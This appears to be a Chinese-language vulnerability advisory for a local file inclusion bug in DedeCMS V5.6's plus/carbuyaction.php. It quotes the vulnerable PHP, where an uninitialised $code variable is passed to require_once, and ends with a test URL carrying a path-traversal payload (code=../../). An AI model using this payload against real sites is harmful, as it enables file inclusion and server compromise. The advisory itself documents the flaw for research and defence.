织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞

漏洞版本:

DedeCmsV5.6 

漏洞描述:

DedeCMS内容管理系统软件采用XML名字空间风格核心模板：模板全部使用文件形式保存，对用户设计模板、网站升级转移均提供很大的便利，健壮的模板标签为站长DIY 自己的网站提供了强有力的支持。

1	<?php
02	require_once (dirname(__FILE__) . "/../include/common.inc.php");
03	define('_PLUS_TPL_', DEDEROOT.'/templets/plus');
04	require_once DEDEINC.'/dedetemplate.class.php';
05	require_once DEDEINC.'/shopcar.class.php';
06	require_once DEDEINC.'/memberlogin.class.php';
07	 
08	if($cfg_mb_open=='N')
09	{
10	        ShowMsg("系统关闭了会员功能，因此你无法访问此页面！","javascript:;");
11	        exit();
12	}
13	 
14	$cfg_ml = new MemberLogin();
15	 
16	if(!isset($dopost) || empty($dopost)){   //只要$dopost不为空就行，By：俺是农村的。
17	        ...
18	}elseif($dopost == 'return'){
19	        require_once DEDEINC.'/payment/'.$code.'.php';  //变量$code未初始化，By：俺是农村的。
20	        $pay = new $code;
21	        $msg=$pay->respond();
22	        ShowMsg($msg,"javascript:;",0,3000);
23	        exit();  
24	}
25	?>

<* 参考

http://www.t00ls.net/
http://sebug.net
http://sebug.net/appdir/织梦(DedeCms)

*>

测试方法:

@Sebug.net   dis
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

1. http://www.ssvdb.com/plus/carbuyaction.php?dopost=return&code=../../